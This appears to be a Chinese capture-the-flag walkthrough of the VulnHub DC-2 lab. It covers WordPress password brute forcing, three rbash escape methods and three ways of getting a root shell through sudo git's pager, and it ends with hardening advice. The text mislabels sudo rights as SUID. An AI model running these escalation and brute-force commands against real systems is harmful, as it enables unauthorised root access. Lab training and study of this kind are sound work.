DC-2 靶场渗透:rbash 环境绕过与 Git SUID 提权的 3 种实战方法对比

📅 2026/7/12 7:48:39
DC-2 靶场渗透:rbash 环境绕过与 Git SUID 提权的 3 种实战方法对比
DC-2 靶场渗透rbash 环境绕过与 Git SUID 提权的 3 种实战方法对比在渗透测试的实战演练中受限环境Restricted Shell简称rbash和特权提升Privilege Escalation是安全研究人员常遇到的技术难点。本文将以VulnHub的DC-2靶场为例深入剖析rbash环境的突破技巧并对比分析三种不同的Git SUID提权方法帮助读者掌握这些关键技术的核心原理和实战应用。1. 靶场环境与初始信息收集DC-2是一个专为渗透测试初学者设计的虚拟靶机包含五个需要获取的标志flag。与DC-1类似它要求使用者具备基本的Linux命令行操作能力和渗透测试工具使用经验。关键发现步骤主机发现与端口扫描nmap -sS -T5 -sC -p- --min-rate 10000 192.168.52.131参数说明-sS: SYN扫描半开放扫描-T5: 极速扫描模式-p-: 扫描所有端口1-65535--min-rate 10000: 每秒至少发送10000个探测包Web服务探测发现80端口运行WordPress站点需修改本地hosts文件添加DNS解析echo 192.168.52.131 dc-2 /etc/hosts用户枚举与密码爆破使用wpscan进行WordPress用户枚举和密码爆破wpscan --url http://dc-2/ -e u # 枚举用户 cewl http://dc-2/ passwords.txt # 生成自定义字典 wpscan --url http://dc-2/ -U users.txt -P passwords.txt # 密码爆破获取有效凭证tom/parturientjerry/adipiscing2. rbash受限环境突破技术通过SSH登录tom用户端口7744后发现处于rbash受限环境。rbash是受限的Bash shell对用户操作有多重限制禁止使用cd命令改变目录禁止修改PATH环境变量禁止执行包含/或-参数的命令禁止使用重定向操作符三种有效的rbash绕过方法方法1Vi编辑器逃逸vi :set shell/bin/bash :shell原理分析Vi编辑器允许在命令模式下执行shell命令。通过修改shell环境变量并启动新shell可以绕过rbash的限制。方法2环境变量重定义BASH_CMDS[a]/bin/sh;a export PATH$PATH:/bin/ export PATH$PATH:/usr/bin技术细节BASH_CMDS是Bash内部变量数组直接赋值可绕过rbash对命令执行的限制扩展PATH变量恢复常用命令路径方法3SCP文件传输绕过# 在攻击机上 scp -P 7744 /bin/sh tomdc-2:/tmp/ # 在靶机上执行 /tmp/sh适用场景当vi不可用且环境变量修改被禁止时可通过文件传输引入新的shell环境。rbash绕过决策树条件判断推荐方法成功率复杂度vi可用方法1高低echo可用方法2中中只有基本命令方法3低高3. Git SUID提权技术详解在获取jerry用户权限后通过sudo -l发现可以无需密码执行git命令。Git的SUID权限为我们提供了提权机会。方法1help config提权sudo git help config在末行命令模式输入!/bin/bash原理剖析Git help会调用默认分页程序通常是less而!在分页程序中用于执行shell命令此时会继承sudo的root权限。方法2-p参数提权sudo git -p help同样输入!/bin/bash技术差异-p参数强制Git使用分页程序即使输出很短也会进入交互模式提高了提权成功率。方法3交互式命令注入sudo git -c core.pager/bin/sh help创新技巧通过-c参数直接指定分页程序为shell无需手动输入!命令。Git提权方法对比表方法成功率依赖条件隐蔽性适用版本help config高默认分页程序中全版本-p help高分页程序支持中Git 1.8-c参数注入中Git配置权限高Git 2.04. 防御措施与加固建议针对本文涉及的攻击技术系统管理员可采取以下防护措施rbash防护增强限制敏感环境变量修改禁用危险编辑器功能# /etc/profile加固示例 export RESTRICTED_SHELLyes alias vivi -Z # 受限模式Git权限控制精确控制sudo权限# /etc/sudoers安全配置 Cmnd_Alias GIT_CMDS /usr/bin/git status, /usr/bin/git pull %developers ALL(ALL) NOPASSWD: GIT_CMDS系统级防护定期审计SUID/SGID文件find / -perm -4000 -o -perm -2000 -type f -exec ls -la {} \;启用SELinux/AppArmor通过本文的技术分析和实战演示我们不仅掌握了DC-2靶场的完整渗透流程更深入理解了rbash绕过和Git提权的多种技术方案及其适用场景。这些技术在真实渗透测试和红队评估中具有重要价值同时也提醒我们系统安全配置的重要性。